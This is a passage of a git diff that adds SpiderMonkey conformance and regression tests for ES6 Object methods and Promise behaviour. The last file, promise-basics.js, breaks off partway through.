index 000000000..cd363a87e
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/isSealed.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1062860;
+var summary = "Object.isSealed() should return true when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isSealed(), true);
+assertEq(Object.isSealed(undefined), true);
+assertEq(Object.isSealed(null), true);
+assertEq(Object.isSealed(1), true);
+assertEq(Object.isSealed("foo"), true);
+assertEq(Object.isSealed(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.isSealed(Symbol()), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/keys.js b/js/src/tests/ecma_6/Object/keys.js
new file mode 100644
index 000000000..5766f16d1
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/keys.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1038545;
+var summary = "Coerce the argument passed to Object.keys using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.keys(), TypeError);
+assertThrowsInstanceOf(() => Object.keys(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.keys(null), TypeError);
+
+assertDeepEq(Object.keys(1), []);
+assertDeepEq(Object.keys(true), []);
+if (typeof Symbol === "function") {
+ assertDeepEq(Object.keys(Symbol("foo")), []);
+}
+
+assertDeepEq(Object.keys("foo"), ["0", "1", "2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/method-non-constructor.js b/js/src/tests/ecma_6/Object/method-non-constructor.js
new file mode 100644
index 000000000..fd1d589b9
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/method-non-constructor.js
@@ -0,0 +1,12 @@
+var obj = { method() { } };
+assertThrowsInstanceOf(() => {
+ new obj.method;
+}, TypeError);
+
+obj = { constructor() { } };
+assertThrowsInstanceOf(() => {
+ new obj.constructor;
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/preventExtensions-proxy.js b/js/src/tests/ecma_6/Object/preventExtensions-proxy.js
new file mode 100644
index 000000000..347a63bc3
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/preventExtensions-proxy.js
@@ -0,0 +1,23 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+var {proxy, log} = logProxy();
+Object.preventExtensions(proxy);
+assertDeepEq(log, ["preventExtensions"]);
+
+var {proxy, log} = logProxy();
+Object.preventExtensions(Object.preventExtensions(proxy));
+assertDeepEq(log, ["preventExtensions", "preventExtensions"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/preventExtensions.js b/js/src/tests/ecma_6/Object/preventExtensions.js
new file mode 100644
index 000000000..75c8ed3db
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/preventExtensions.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1073446;
+var summary = "Object.preventExtensions() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.preventExtensions(), undefined);
+assertEq(Object.preventExtensions(undefined), undefined);
+assertEq(Object.preventExtensions(null), null);
+assertEq(Object.preventExtensions(1), 1);
+assertEq(Object.preventExtensions("foo"), "foo");
+assertEq(Object.preventExtensions(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.preventExtensions(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/property-descriptor-order.js b/js/src/tests/ecma_6/Object/property-descriptor-order.js
new file mode 100644
index 000000000..337d247da
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/property-descriptor-order.js
@@ -0,0 +1,17 @@
+var names = Object.getOwnPropertyNames(Object.getOwnPropertyDescriptor({foo: 0}, "foo"));
+assertDeepEq(names, ["value", "writable", "enumerable", "configurable"]);
+
+names = Object.getOwnPropertyNames(Object.getOwnPropertyDescriptor({get foo(){}}, "foo"));
+assertDeepEq(names, ["get", "set", "enumerable", "configurable"]);
+
+var proxy = new Proxy({}, {
+ defineProperty(target, key, desc) {
+ var names = Object.getOwnPropertyNames(desc);
+ assertDeepEq(names, ["set", "configurable"]);
+ return true;
+ }
+});
+
+Object.defineProperty(proxy, "foo", {configurable: true, set: function() {}});
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/propertyIsEnumerable-proxy.js b/js/src/tests/ecma_6/Object/propertyIsEnumerable-proxy.js
new file mode 100644
index 000000000..a1dda90e0
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/propertyIsEnumerable-proxy.js
@@ -0,0 +1,59 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object) {
+ var log = [];
+ var handler = {
+ getOwnPropertyDescriptor(target, propertyKey) {
+ log.push(propertyKey);
+ return Object.getOwnPropertyDescriptor(target, propertyKey);
+ }
+ };
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ if (!(propertyKey in target)) {
+ throw new Error(`Unexpected call to trap: "${propertyKey}"`);
+ }
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+var properties = ["string-property"];
+if (typeof Symbol === 'function')
+ properties.push(Symbol("symbol-property"));
+
+for (var property of properties) {
+ // Test 1: property is not present on object
+ var {proxy, log} = logProxy({});
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 2: property is present on object and enumerable
+ var {proxy, log} = logProxy({[property]: 0});
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, true);
+ assertDeepEq(log, [property]);
+
+ // Test 3: property is present on object, but not enumerable
+ var {proxy, log} = logProxy(Object.defineProperty({[property]: 0}, property, {enumerable: false}));
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 4: property is present on prototype object
+ var {proxy, log} = logProxy(Object.create({[property]: 0}));
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 5: property is present on prototype object, prototype is proxy object
+ var {proxy, log} = logProxy({[property]: 0});
+ var result = Object.prototype.propertyIsEnumerable.call(Object.create(proxy), property);
+ assertEq(result, false);
+ assertDeepEq(log, []);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/seal-proxy.js b/js/src/tests/ecma_6/Object/seal-proxy.js
new file mode 100644
index 000000000..44bb685c8
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/seal-proxy.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+// The order of operations is backwards when compared to ES6 draft rev 27
+// (2014 August 24), but see https://bugs.ecmascript.org/show_bug.cgi?id=3215
+// for an explanation on why the spec version is clearly wrong.
+
+var {proxy, log} = logProxy();
+Object.seal(proxy);
+assertDeepEq(log, ["preventExtensions", "ownKeys"]);
+
+var {proxy, log} = logProxy();
+Object.seal(Object.seal(proxy));
+assertDeepEq(log, ["preventExtensions", "ownKeys", "preventExtensions", "ownKeys"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/seal.js b/js/src/tests/ecma_6/Object/seal.js
new file mode 100644
index 000000000..e325c80d9
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/seal.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1075294;
+var summary = "Object.seal() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.seal(), undefined);
+assertEq(Object.seal(undefined), undefined);
+assertEq(Object.seal(null), null);
+assertEq(Object.seal(1), 1);
+assertEq(Object.seal("foo"), "foo");
+assertEq(Object.seal(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.seal(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/setPrototypeOf-cross-realm-cycle.js b/js/src/tests/ecma_6/Object/setPrototypeOf-cross-realm-cycle.js
new file mode 100644
index 000000000..e2efe010e
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/setPrototypeOf-cross-realm-cycle.js
@@ -0,0 +1,11 @@
+// The cycle check in 9.1.2 [[SetPrototypeOf]] prevents cross-realm cycles
+// involving only ordinary objects.
+
+var gw = newGlobal();
+
+var obj = {};
+var w = gw.Object.create(obj);
+assertThrowsInstanceOf(() => Object.setPrototypeOf(obj, w), TypeError);
+assertThrowsInstanceOf(() => gw.Object.setPrototypeOf(obj, w), gw.TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/setPrototypeOf-cycle.js b/js/src/tests/ecma_6/Object/setPrototypeOf-cycle.js
new file mode 100644
index 000000000..a8b5aa75c
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/setPrototypeOf-cycle.js
@@ -0,0 +1,16 @@
+// The cycle check in 9.1.2 [[SetPrototypeOf]] does not walk proxies.
+// Therefore it's very easy to create prototype chain cycles involving proxies,
+// and the spec requires us to accept this.
+
+var t = {};
+var p = new Proxy(t, {});
+Object.setPrototypeOf(t, p); // 🙈
+
+// Actually doing anything that searches this object's prototype chain
+// technically should not terminate. We instead throw "too much recursion".
+for (var obj of [t, p]) {
+ assertThrowsInstanceOf(() => "x" in obj, InternalError);
+ assertThrowsInstanceOf(() => obj.x, InternalError);
+ assertThrowsInstanceOf(() => { obj.x = 1; }, InternalError);
+}
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/setPrototypeOf-same-value.js b/js/src/tests/ecma_6/Object/setPrototypeOf-same-value.js
new file mode 100644
index 000000000..337550946
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/setPrototypeOf-same-value.js
@@ -0,0 +1,11 @@
+// Setting a "new" prototype to the current [[Prototype]] value should never fail
+
+var x = {}, t = Object.create(x);
+Object.preventExtensions(t);
+// Should not fail, because it is the same [[Prototype]] value
+Object.setPrototypeOf(t, x);
+
+// Object.prototype's [[Prototype]] is immutable, make sure we can still set null
+Object.setPrototypeOf(Object.prototype, null);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/shell.js b/js/src/tests/ecma_6/Object/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/shell.js
diff --git a/js/src/tests/ecma_6/Object/toLocaleString.js b/js/src/tests/ecma_6/Object/toLocaleString.js
new file mode 100644
index 000000000..3fa2acc74
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/toLocaleString.js
@@ -0,0 +1,13 @@
+"use strict";
+
+Object.defineProperty(String.prototype, "toString", {
+ get() {
+ assertEq(typeof this, "string");
+
+ return function() { return typeof this; };
+ }
+})
+assertEq(Object.prototype.toLocaleString.call("test"), "string");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/toPrimitive-callers.js b/js/src/tests/ecma_6/Object/toPrimitive-callers.js
new file mode 100644
index 000000000..ffeef2225
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/toPrimitive-callers.js
@@ -0,0 +1,57 @@
+// Check all the algorithms that call ToPrimitive. Confirm that they're passing
+// the correct hint, per spec.
+
+var STRING = "xyzzy";
+var NUMBER = 42;
+
+function assertCallsToPrimitive(f, expectedHint, expectedResult) {
+ var hint = undefined;
+ var testObj = {
+ [Symbol.toPrimitive](h) {
+ assertEq(hint, undefined);
+ hint = h;
+ return h === "number" ? NUMBER : STRING;
+ }
+ };
+ var result = f(testObj);
+ assertEq(hint, expectedHint, String(f));
+ assertEq(result, expectedResult, String(f));
+}
+
+// ToNumber
+assertCallsToPrimitive(Number, "number", NUMBER);
+
+// ToString
+assertCallsToPrimitive(String, "string", STRING);
+
+// ToPropertyKey
+var obj = {[STRING]: "pass"};
+assertCallsToPrimitive(key => obj[key], "string", "pass");
+
+// Abstract Relational Comparison
+assertCallsToPrimitive(x => x >= 42, "number", true);
+assertCallsToPrimitive(x => x > "42", "number", false);
+
+// Abstract Equality Comparison
+assertCallsToPrimitive(x => x != STRING, "default", false);
+assertCallsToPrimitive(x => STRING == x, "default", true);
+assertCallsToPrimitive(x => x == NUMBER, "default", false);
+assertCallsToPrimitive(x => NUMBER != x, "default", true);
+
+// Addition
+assertCallsToPrimitive(x => 1 + x, "default", "1" + STRING);
+assertCallsToPrimitive(x => "" + x, "default", STRING);
+
+// Date constructor
+assertCallsToPrimitive(x => (new Date(x)).valueOf(), "default", Number(STRING));
+
+// Date.prototype.toJSON
+var expected = "a suffusion of yellow";
+function testJSON(x) {
+ x.toJSON = Date.prototype.toJSON;
+ x.toISOString = function () { return expected; };
+ return JSON.stringify(x);
+}
+assertCallsToPrimitive(testJSON, "number", JSON.stringify(expected));
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/toPrimitive.js b/js/src/tests/ecma_6/Object/toPrimitive.js
new file mode 100644
index 000000000..0904bd19a
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/toPrimitive.js
@@ -0,0 +1,101 @@
+// ES6 7.1.1 ToPrimitive(input [, PreferredType]) specifies a new extension
+// point in the language. Objects can override the behavior of ToPrimitive
+// somewhat by supporting the method obj[@@toPrimitive](hint).
+//
+// (Rationale: ES5 had a [[DefaultValue]] internal method, overridden only by
+// Date objects. The change in ES6 is to make [[DefaultValue]] a plain old
+// method. This allowed ES6 to eliminate the [[DefaultValue]] internal method,
+// simplifying the meta-object protocol and thus proxies.)
+
+// obj[Symbol.toPrimitive]() is called whenever the ToPrimitive algorithm is invoked.
+var expectedThis, expectedHint;
+var obj = {
+ [Symbol.toPrimitive](hint, ...rest) {
+ assertEq(this, expectedThis);
+ assertEq(hint, expectedHint);
+ assertEq(rest.length, 0);
+ return 2015;
+ }
+};
+expectedThis = obj;
+expectedHint = "string";
+assertEq(String(obj), "2015");
+expectedHint = "number";
+assertEq(Number(obj), 2015);
+
+// It is called even through proxies.
+var proxy = new Proxy(obj, {});
+expectedThis = proxy;
+expectedHint = "default";
+assertEq("ES" + proxy, "ES2015");
+
+// It is called even through additional proxies and the prototype chain.
+proxy = new Proxy(Object.create(proxy), {});
+expectedThis = proxy;
+expectedHint = "default";
+assertEq("ES" + (proxy + 1), "ES2016");
+
+// It is not called if the operand is already a primitive.
+var ok = true;
+for (var constructor of [Boolean, Number, String, Symbol]) {
+ constructor.prototype[Symbol.toPrimitive] = function () {
+ ok = false;
+ throw "FAIL";
+ };
+}
+assertEq(Number(true), 1);
+assertEq(Number(77.7), 77.7);
+assertEq(Number("123"), 123);
+assertThrowsInstanceOf(() => Number(Symbol.iterator), TypeError);
+assertEq(String(true), "true");
+assertEq(String(77.7), "77.7");
+assertEq(String("123"), "123");
+assertEq(String(Symbol.iterator), "Symbol(Symbol.iterator)");
+assertEq(ok, true);
+
+// Converting a primitive symbol to another primitive type throws even if you
+// delete the @@toPrimitive method from Symbol.prototype.
+delete Symbol.prototype[Symbol.toPrimitive];
+var sym = Symbol("ok");
+assertThrowsInstanceOf(() => `${sym}`, TypeError);
+assertThrowsInstanceOf(() => Number(sym), TypeError);
+assertThrowsInstanceOf(() => "" + sym, TypeError);
+
+// However, having deleted that method, converting a Symbol wrapper object does
+// work: it calls Symbol.prototype.toString().
+obj = Object(sym);
+assertEq(String(obj), "Symbol(ok)");
+assertEq(`${obj}`, "Symbol(ok)");
+
+// Deleting valueOf as well makes numeric conversion also call toString().
+delete Symbol.prototype.valueOf;
+delete Object.prototype.valueOf;
+assertEq(Number(obj), NaN);
+Symbol.prototype.toString = function () { return "2060"; };
+assertEq(Number(obj), 2060);
+
+// Deleting Date.prototype[Symbol.toPrimitive] changes the result of addition
+// involving Date objects.
+var d = new Date;
+assertEq(0 + d, 0 + d.toString());
+delete Date.prototype[Symbol.toPrimitive];
+assertEq(0 + d, 0 + d.valueOf());
+
+// If @@toPrimitive, .toString, and .valueOf are all missing, we get a
+// particular sequence of property accesses, followed by a TypeError exception.
+var log = [];
+function doGet(target, propertyName, receiver) {
+ log.push(propertyName);
+}
+var handler = new Proxy({}, {
+ get(target, trapName, receiver) {
+ if (trapName !== "get")
+ throw `FAIL: system tried to access handler method: ${uneval(trapName)}`;
+ return doGet;
+ }
+});
+proxy = new Proxy(Object.create(null), handler);
+assertThrowsInstanceOf(() => proxy == 0, TypeError);
+assertDeepEq(log, [Symbol.toPrimitive, "valueOf", "toString"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Promise/browser.js b/js/src/tests/ecma_6/Promise/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/browser.js
diff --git a/js/src/tests/ecma_6/Promise/bug-1287334.js b/js/src/tests/ecma_6/Promise/bug-1287334.js
new file mode 100644
index 000000000..0bd25decd
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/bug-1287334.js
@@ -0,0 +1,12 @@
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true, true);
+ quit(0);
+}
+
+var promise = Promise.resolve(1);
+var FakeCtor = function(exec){ exec(function(){}, function(){}); };
+Object.defineProperty(Promise, Symbol.species, {value: FakeCtor});
+// This just shouldn't crash. It does without bug 1287334 fixed.
+promise.then(function(){});
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Promise/bug-1288382.js b/js/src/tests/ecma_6/Promise/bug-1288382.js
new file mode 100644
index 000000000..f954d6279
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/bug-1288382.js
@@ -0,0 +1,13 @@
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true, true);
+ quit(0);
+}
+
+// This just shouldn't trigger a failed assert.
+// It does without bug 1288382 fixed.
+Promise.all.call(class {
+ constructor(exec){ exec(()=>{}, ()=>{}); }
+ static resolve() { return {then(){}}; }
+}, [null]);
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Promise/bug-1289040.js b/js/src/tests/ecma_6/Promise/bug-1289040.js
new file mode 100644
index 000000000..9290d8ad4
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/bug-1289040.js
@@ -0,0 +1,13 @@
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+var global = newGlobal();
+Promise.prototype.then = global.Promise.prototype.then;
+p1 = new Promise(function f(r) {
+ r(1);
+});
+p2 = p1.then(function g(){});
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/ecma_6/Promise/dependent-promises.js b/js/src/tests/ecma_6/Promise/dependent-promises.js
new file mode 100644
index 000000000..36e11a5f6
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/dependent-promises.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+var g = newGlobal();
+var dbg = new Debugger(g);
+var gw = dbg.addDebuggee(g);
+
+g.eval(`
+var p = new Promise(() => {});
+p.name = "p";
+var q = p.then();
+q.name = "q";
+var r = p.then(null, () => {});
+r.name = "r";
+var s = Promise.all([p, q]);
+s.name = "s";
+var t = Promise.race([r, s]);
+t.name = "t";
+`);
+
+function getDependentNames(promise) {
+ return gw.makeDebuggeeValue(promise).promiseDependentPromises.map((p) => p.getOwnPropertyDescriptor('name').value);
+}
+
+function arraysEqual(arr1, arr2, msg) {
+ assertEq(arr1.length, arr2.length, msg + ": length");
+ for (var i = 0; i < arr1.length; ++i) {
+ assertEq(arr1[i], arr2[i], msg + ": [" + i + "]");
+ }
+}
+
+arraysEqual(getDependentNames(g.p), ["q", "r", "s"], "deps for p");
+arraysEqual(getDependentNames(g.q), ["s"], "deps for q");
+arraysEqual(getDependentNames(g.r), ["t"], "deps for r");
+arraysEqual(getDependentNames(g.s), ["t"], "deps for s");
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/ecma_6/Promise/enqueue-promise-reactions.js b/js/src/tests/ecma_6/Promise/enqueue-promise-reactions.js
new file mode 100644
index 000000000..ddb366aba
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/enqueue-promise-reactions.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getSelfHostedValue and drainJobQueue
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+function onResolved(val) {
+ result = 'resolved with ' + val;
+}
+
+function onRejected(val) {
+ result = 'rejected with ' + val;
+}
+
+// Replacing `Promise#then` shouldn't affect addPromiseReactions.
+Promise.prototype.then = 1;
+
+// Replacing Promise@@species shouldn't affect addPromiseReactions.
+Promise[Symbol.species] = function(){};
+
+// Replacing `Promise` shouldn't affect addPromiseReactions.
+let PromiseCtor = Promise;
+Promise = {};
+
+let result;
+let res;
+let rej;
+let p = new PromiseCtor(function(res_, rej_) { res = res_; rej = rej_; });
+
+addPromiseReactions(p, onResolved, onRejected);
+res('foo');
+drainJobQueue();
+assertEq(result, 'resolved with foo')
+
+p = new PromiseCtor(function(res_, rej_) { res = res_; rej = rej_; });
+
+addPromiseReactions(p, onResolved, onRejected);
+rej('bar');
+drainJobQueue();
+assertEq(result, 'rejected with bar');
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/ecma_6/Promise/get-wait-for-all-promise.js b/js/src/tests/ecma_6/Promise/get-wait-for-all-promise.js
new file mode 100644
index 000000000..cebb3ea58
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/get-wait-for-all-promise.js
@@ -0,0 +1,65 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getSelfHostedValue and drainJobQueue
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+function onResolved(val) {
+ result = 'resolved with ' + val;
+}
+
+function onRejected(val) {
+ result = 'rejected with ' + val;
+}
+
+// Replacing `Promise#then` shouldn't affect getWaitForAllPromise.
+let originalThen = Promise.prototype.then;
+Promise.prototype.then = 1;
+
+// Replacing Promise[@@species] shouldn't affect getWaitForAllPromise.
+Promise[Symbol.species] = function(){};
+
+// Replacing `Promise` shouldn't affect getWaitForAllPromise.
+let PromiseCtor = Promise;
+Promise = {};
+
+// Replacing Array[@@iterator] shouldn't affect getWaitForAllPromise.
+Array.prototype[Symbol.iterator] = function(){};
+
+let resolveFunctions = [];
+let rejectFunctions = [];
+let promises = [];
+for (let i = 0; i < 3; i++) {
+ let p = new PromiseCtor(function(res_, rej_) {
+ resolveFunctions.push(res_);
+ rejectFunctions.push(rej_);
+ });
+ promises.push(p);
+}
+
+let allPromise = getWaitForAllPromise(promises);
+let then = originalThen.call(allPromise, onResolved, onRejected);
+
+resolveFunctions.forEach((fun, i)=>fun(i));
+drainJobQueue();
+
+assertEq(result, 'resolved with 0,1,2');
+
+// Empty lists result in a promise resolved with an empty array.
+result = undefined;
+originalThen.call(getWaitForAllPromise([]), v=>(result = v));
+drainJobQueue();
+assertEq(result instanceof Array, true);
+assertEq(result.length, 0);
+
+//Empty lists result in a promise resolved with an empty array.
+result = undefined;
+originalThen.call(getWaitForAllPromise([]), v=>(result = v));
+
+drainJobQueue();
+
+assertEq(result instanceof Array, true);
+assertEq(result.length, 0);
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/ecma_6/Promise/iterator-primitive.js b/js/src/tests/ecma_6/Promise/iterator-primitive.js
new file mode 100644
index 000000000..cfc3a4ed3
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/iterator-primitive.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertEventuallyThrows(Promise.all(arg), TypeError);
+ assertEventuallyThrows(Promise.race(arg), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Promise/methods-non-enumerable.js b/js/src/tests/ecma_6/Promise/methods-non-enumerable.js
new file mode 100644
index 000000000..79c3563b2
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/methods-non-enumerable.js
@@ -0,0 +1,9 @@
+if (!this.Promise) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+assertEq(Object.keys(Promise).length, 0);
+assertEq(Object.keys(Promise.prototype).length, 0);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Promise/promise-all.js b/js/src/tests/ecma_6/Promise/promise-all.js
new file mode 100644
index 000000000..46383de78
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/promise-all.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+let results = [];
+
+let p1 = new Promise(res=>res('result'))
+ .then(val=>{results.push('then ' + val); return 'first then rval';})
+ .then(val=>{results.push('chained then with val: ' + val); return 'p1 then, then'});
+
+let p2 = new Promise((res, rej)=>rej('rejection'))
+ .catch(val=> {results.push('catch ' + val); return results.length;})
+ .then(val=>{results.push('then after catch with val: ' + val); return 'p2 catch, then'},
+ val=>{throw new Error("mustn't be called")});
+
+Promise.all([p1, p2]).then(res => results.push(res + ''));
+
+drainJobQueue();
+
+assertEq(results.length, 5);
+assertEq(results[0], 'then result');
+assertEq(results[1], 'catch rejection');
+assertEq(results[2], 'chained then with val: first then rval');
+assertEq(results[3], 'then after catch with val: 2');
+assertEq(results[4], 'p1 then, then,p2 catch, then');
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/ecma_6/Promise/promise-basics.js b/js/src/tests/ecma_6/Promise/promise-basics.js
new file mode 100644
index 000000000..456b00dba
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/promise-basics.js
@@ -0,0 +1,101 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(0, 0, "ok");
+ quit(0);
+}
+
+let results = [];
+
+new Promise(res=>res('result'))
+ .then(val=>{results.push('then ' + val); return 'first then rval';})
+ .then(val=>results.push('chained then with val: ' + val));
+
+new Promise((res, rej)=>rej('rejection'))
+ .catch(val=>{results.push('catch ' + val); return results.length;})
+ .then(val=>results.push('then after catch with val: ' + val),
+ val=>{throw new Error("mustn't be called")});
+
+new Promise((res, rej)=> {res('result'); rej('rejection'); })
+ .catch(val=>{throw new Error("mustn't be called");})
+ .then(val=>results.push('then after resolve+reject with val: ' + val),
+ val=>{throw new Error("mustn't be called")});
+
+new Promise((res, rej)=> { rej('rejection'); res('result'); })
+ .catch(val=>{results.push('catch after reject+resolve with val: ' + val);})
+
+
+drainJobQueue();
+
+assertEq(results.length, 6);
+assertEq(results[0], 'then result');
+assertEq(results[1], 'catch rejection');
+assertEq(results[2], 'catch after reject+resolve with val: rejection');
+assertEq(results[3], 'chained then with val: first then rval');
+assertEq(results[4], 'then after catch with val: 2');
+assertEq(results[5], 'then after resolve+reject with val: result');
+
+results = [];
+
+Promise.resolve('resolution').then(res=>results.push(res),
+ rej=>{ throw new Error("mustn't be called"); });
+
+let thenCalled = false;
+Promise.reject('rejection').then(_=>{thenCalled = true},
+ rej=>results.push(rej));
+
+drainJobQueue();
+
+assertEq(thenCalled, false);
+assertEq(results.length, 2);
+assertEq(results[0], 'resolution');
+assertEq(results[1], 'rejection');
+
+
+function callback() {}
+
+// Calling the executor function with content functions shouldn't assert:
+Promise.resolve.call(function(exec) { exec(callback, callback); });
+Promise.reject.call(function(exec) { exec(callback, callback); });
+Promise.all.call(function(exec) { exec(callback, callback); });
+Promise.race.call(function(exec) { exec(callback, callback); });
+
+let resolveResult = undefined;
+function resolveFun() {resolveResult = "resolveCalled";}
+Promise.resolve.call(function(exec) { exec(resolveFun, callback); });
+assertEq(resolveResult, "resolveCalled");
+
+let rejectResult = undefined;
+function rejectFun() {rejectResult = "rejectCalled";}
+Promise.reject.call(function(exec) { exec(callback, rejectFun); });
+assertEq(rejectResult, "rejectCalled");
+
+// These should throw:
+var wasCalled = false;
+var hasThrown = false;
+try {
